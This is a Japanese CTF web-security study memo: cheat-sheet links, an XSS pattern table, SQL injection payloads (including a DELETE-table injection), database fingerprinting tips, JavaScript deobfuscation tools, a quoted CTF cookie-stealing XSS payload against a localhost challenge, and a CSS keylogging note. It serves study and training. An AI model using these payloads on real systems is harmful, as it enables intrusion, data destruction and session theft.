CTF Web

JavaScriptも必要に応じて参照すべし

Chrome DevTools

snippets

JavaScriptを参照

描画フレーム毎のスクリーンショットを記録/再生する機能

2015.10.11現在 Canary版のみ

※オペレーション未確認

Canvas Profiles (Canvas API のダンプ、Draw call の可視化、スナップショット)

※オペレーション未確認

Cheat Sheets

OWASP Cheat Sheet Series

OWASP Cheat Sheets - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

OWASP Cheat Sheets - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

OWASP Cheat Sheets - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

katagaitaiCTF XSS千本ノック

0x90 - katagaitai CTF勉強会 #9 writeup(Webパート)
http://0x90.hatenablog.jp/entry/2017/08/27/201021

Qiita - XSS千本ノック@katagaitaiCTF勉強会 writeup
http://qiita.com/howmuch/items/981a9c85620321c20c69

HayatoDoi.github.io - katagaitaiCTF xss千本ノック write up
https://hayatodoi.github.io/page.html?name=2017-08-28_katagaitaiCTF%20xss%E5%8D%83%E6%9C%AC%E3%83%8E%E3%83%83%E3%82%AF%20write%20up.md

ななふんのブログ - katagaitai CTF勉強会 #9 XSS千本ノック Writeup
http://sec-rookie.hatenablog.com/entry/2017/08/29/015957

XSS

XSS cheat sheet - porswiggerがリリースしたXSSのcheat sheet
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

github masatokinugawa/filterbypass - Browser's XSS Filter Bypass Cheat Sheet
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#2%E3%81%A4%E4%BB%A5%E4%B8%8A%E3%81%AE%E6%B3%A8%E5%85%A5%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88%E3%81%8C%E3%81%82%E3%82%8B%E5%A0%B4%E5%90%88

色んなXSS
http://nootropic.me/blog/2015/02/16/%E8%89%B2%E3%82%93%E3%81%AAxss/#more-396

HTML5 Security Cheatsheet
https://html5sec.org/

cure53/HTTPLeaks (HTTPリクエストを発生させるような要素/属性の一覧)
https://github.com/cure53/HTTPLeaks

SHARED ONLINE FUZZING (XSSスキャナーのアウトプットを活用できる)
http://shazzer.co.uk

Probing to Find XSS と WebGunというツール
http://brutelogic.com.br/blog/category/xss-building/ http://brutelogic.com.br/webgun/

Unleashing an Ultimate XSS Polyglot
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

FOOLING THE INTERPRETER - XSS Cheat Sheet
http://brutelogic.com.br/blog/cheat-sheet/

Qiita - 俺的MarkdownにおけるXSS
https://qiita.com/Azunyan1111/items/64d23396bcf2213af024

CSSの制限(この属性の制限をしないとJavaScript埋め込まれるかも)

  • expression
  • behavior / behaviour
  • moz-binding
  • include-source
  • url
  • absolute
  • fixed
  • content
  • -o-link
  • AlphaImageLoader
  • javascript:
  • vbscript:
  • data:

リンクの制限(ブラウザでこれを実装している。サーバ側で上手くチェックしてないとすり抜けられる・・・かも)

  • http:
  • https:
  • ftp:
  • mailto:
  • file:
  • telnet:
  • gopher:
  • news:
  • wais:

SQLインジェクション

SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

Hacoder - SQL Injection Authentication Bypass Cheat Sheet
http://www.hacoder.com/2015/10/sql-injection-authentication-bypass-cheat-sheet/

GracefulSecurity - SQL Injection Cheat Sheet: MySQL
https://www.gracefulsecurity.com/category/cheat-sheets/

GracefulSecurity - SQL Injection Cheat Sheet: MSSQL
https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/

shikata ga nai - SQL injection cheat sheet(1)
https://cysec148.hatenablog.com/entry/2019/12/05/123227

XSS

種類 パターン 備考
反射型 Reflected XSS <html> <body> XSS HERE: <script>alert(1)</script> </body> </html>
反射型 属性内 <html> <body> <input name="q" value=""onmouseover=alert(1)//"> </body> </html>
反射型 リンク部分 <html> <body> <a href="javascript:alert(1)">Click</a> </body> </html> Auditorがスルー
反射型 文字列リテラル <body> <script> var q="";alert(1)//"; </script> </body> Auditorがスルー
DOM Based XSS その1 <body> <script> document.write(location.hash); </script> </body> IEがスルー
DOM Based XSS その2 <body> <script> document.body.innerHTML=location.hash; </script> </body> IEがスルー,Auditorがスルー
持続型/蓄積型 Stored XSS <div id="profile"> <script>alert(1)</script> </div> IEがスルー,Auditorがスルー,NoScript がスルー

SecurityCamp2015「バグハンティング入門」
http://www.slideshare.net/masatokinugawa/ss-51723687

SQLインジェクション

http://npnl.hatenablog.jp/entry/20080412/1207965105
http://matome.naver.jp/odai/2137849639545516001
https://www.nicksecuritylog.com/entry/SQLInjection_basic

' OR 'A' = 'A
'; DELETE FROM ユーザマスタ WHERE 'A' = 'A
'; DELETE FROM ユーザマスタ WHERE 'A' = 'A' --
fuga' OR ユーザID = 'admin

SQLインジェクション - 対象DBを判別する

  • 「||」を利用した文字列連結に成功している場合、SQLiteを利用していると判断できる。

ex) hogehoge と hoge'||'hoge の結果が同じなら SQLiteです。

  • コメント文字の扱いから判断する。

sqlite

#はコメントにならない(エラーにならない)

mysql

#はコメントになる(エラーになる)

よく使うMySQL(MariaDB)コマンド

対話型インタフェース

 SHOW DATABASES; — DBの一覧
 USE hogehoge; — hogehogeのDBを参照
 SHOW TABLES; — テーブル一覧
 SHOW COLUMNS FROM hoge; — hogeテーブルのカラムを表示
 SHOW INDEX FROM hoge; — hogeテーブルのインデックスを表示。すべてのクエリに対して LIKE "hoge%"などLIKE句が利用できる
 EXPLAIN SELECT * FROM hogehgoe; — "SELECT * FROM hogehgoe"がどのように実行されるのか検証するコマンド

その他(コマンドインタフェース)

$ mysql -hlocalhost -uroot -ppass # -h ホスト -u ユーザー -p パスワード
$ mysqldump database > hoge.sql # hoge.aqlファイルにdatabaseのスキーマをダンプする
$ mysql database < hoge.sql #hoge.sqlファイルのクエリをdatabase上で実行する

ブラインドSQLインジェクション

俺的備忘録 〜なんかいろいろ〜 - シェル芸でブラインドSQLインジェクションを行う
https://orebibou.com/2019/01/%e3%82%b7%e3%82%a7%e3%83%ab%e8%8a%b8%e3%81%a7%e3%83%96%e3%83%a9%e3%82%a4%e3%83%b3%e3%83%89sql%e3%82%a4%e3%83%b3%e3%82%b8%e3%82%a7%e3%82%af%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e8%a1%8c%e3%81%86/

Memo

参考 T.Teradaの日記 - [セキュリティ]SQL Injectionシグネチャの更新
http://d.hatena.ne.jp/teracc/20150507

CSS Injection

CSS Injection (+ Recursive Import) の原理と攻撃手法およびその実装について
http://szarny.hatenablog.com/entry/2019/10/17/CSS_Injection_%28%2B_Recursive_Import%29_%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E6%94%BB%E6%92%83%E6%89%8B%E6%B3%95%E3%81%8A%E3%82%88%E3%81%B3%E3%81%9D%E3%81%AE%E5%AE%9F%E8%A3%85%E3%81%AB%E3%81%A4%E3%81%84

JavaScript難読化

encode方式

jjencode
http://utf-8.jp/public/jjencode.html

aaencode
http://utf-8.jp/public/aaencode.html

JSFuck
http://www.jsfuck.com/

JavaScript を PNG に圧縮する
http://yomotsu.net/blog/2015/03/01/js2png.html

decode

Caffeine Monkey
http://kinshachi.ddo.jp/blog/comp/archives/000799.html

malzilla
http://malzilla.sourceforge.net/

aadecode
http://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

Monyer Js(jjdecode Base64,MD5,SHA1,UTF7,URI等々の変換ができる)
http://monyer.com/demo/monyerjs/

ESDeobfuscate
http://m1el.github.io/esdeobfuscate/

とりあえず動かしてみるには
http://javascripter.hatenablog.com/entry/20090607/1244386028

<html><head><script>

Object.constructor = function (code) {
  alert(Function(code)());
};

// ここに記号化されたプログラムを貼る

</script></head><body></body></html>

難読化された中で何か変数に設定されたか確認するには
JavaScriptコンソールで

console.dir(window)

javascript-visualizer - JavaScriptの実行内容を可視化
https://tylermcginnis.com/javascript-visualizer

WebAssembly

WebAssembly Reference Manual
https://github.com/sunfishcode/wasm-reference-manual/blob/master/WebAssembly.md

WebAssembly解いてみる
https://xrekkusu.hatenablog.jp/entry/2018/12/12/125052

WebAssembly テキストフォーマットを理解する
https://developer.mozilla.org/ja/docs/WebAssembly/Understanding_the_text_format

Study

こんとろーるしーこんとろーるぶい - 【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)
https://graneed.hatenablog.com/entry/2019/12/29/115100

jhaddix
https://github.com/jhaddix The Bug Hunters Methodology

KnowHow満載

JavaScriptセキュリティの基礎知識

JavaScriptセキュリティの基礎知識 第1回 Webセキュリティのおさらい その1
http://gihyo.jp/dev/serial/01/javascript-security/0001

JavaScriptセキュリティの基礎知識 第2回 Webセキュリティのおさらい その2 XSS
http://gihyo.jp/dev/serial/01/javascript-security/0002

JavaScriptセキュリティの基礎知識 第3回 Webセキュリティのおさらい その3 CSRF・オープンリダイレクト・クリックジャッキング
http://gihyo.jp/dev/serial/01/javascript-security/0003

JavaScriptセキュリティの基礎知識 第4回 URLとオリジン
http://gihyo.jp/dev/serial/01/javascript-security/0004

JavaScriptセキュリティの基礎知識 第5回 問題を発生させにくくするURLの扱い方
http://gihyo.jp/dev/serial/01/javascript-security/0005

JavaScriptセキュリティの基礎知識 第6回 DOM-based XSS その1
http://gihyo.jp/dev/serial/01/javascript-security/0006

JavaScriptセキュリティの基礎知識 第7回 DOM-based XSS その2
http://gihyo.jp/dev/serial/01/javascript-security/0007

JavaScriptセキュリティの基礎知識 第8回 DOM-based XSS その3
http://gihyo.jp/dev/serial/01/javascript-security/0008

Memo

【2020年】CTF Web問題の攻撃手法まとめ
https://graneed.hatenablog.com/entry/2021/08/09/115452

【2021年】CTF Web問題の攻撃手法まとめ
https://graneed.hatenablog.com/entry/2022/09/28/100000

競技セキュリティまとめのまとめ
https://blog.hamayanhamayan.com/entry/2023/02/22/085938

雑記 - TMCTF Writeup (Analysis Offensive 300)
http://icchy.hatenablog.jp/entry/2015/09/28/115402

nameパラメータに

"><scrscriptipt>tmp=document.cookie;
document.cookie='PHPSESSID=0ufcvu21seft5sn3l2sllni896';
location.href='result.php?name='+tmp</scripscriptt>

をURLエンコードしたものを渡した以下のURLを用意し,contact.phpのcommentに入力して送信した.

蓄積型XSS(Stored XSS)を利用している

http://localhost:40100/737c08b6f0ea477cb4ce3eb1b8e81a87/contact.php?name=%22%3E%3Cscrscriptipt%3Etmp%3Ddocument.cookie%3B%0D%0Adocument.cookie%3D%27PHPSESSID%3D0ufcvu21seft5sn3l2sllni896%27%3B%0D%0Alocation.href%3D%27result.php%3Fname%3D%27%2Btmp%3C%2Fscripscriptt%3E

crt.sh Certificate Search (Certificate Transparencyのログに登録されているサブドメインを列挙)
https://crt.sh/

Firing Range
http://public-firing-range.appspot.com/

Googleが脆弱性スキャナーツールの性能を評価するために作られたWebサイト

Github cure53/H5SC - Unicode Characters in URLs
https://github.com/cure53/H5SC/wiki/Unicode-Characters-in-URLs

特殊な文字でも、URLでは適切な文字に変換されるブラウザの仕様

₨ resolves to http://rs.org/

Github - athre0z/wasm
https://github.com/athre0z/wasm

WebAssembly decoder & disassembler library

Masato Kinugawa Security Blog - ブラウザのXSS保護機能をバイパスする(14)
http://masatokinugawa.l0.cm/2017/05/xss14.html

Apache HTTP Serverのバージョンを当てる方法
https://www.mbsd.jp/blog/20170904.html

CTFを助けるターミナルテクニック
https://www.ryotosaito.com/blog/?p=113

web FUzz ChecK
https://github.com/m---/webfuck

CSSを利用したキーロギング

maxchehab/CSS-Keylogging
https://github.com/maxchehab/CSS-Keylogging

CSS セレクタで form の value を引っ掛けて background プロパティで外部サーバにリクエスト投げれば,JS 使わなくても CSS だけでユーザの入力を盗める

クリップボードから画像を追加 (サイズの上限: 100 MB)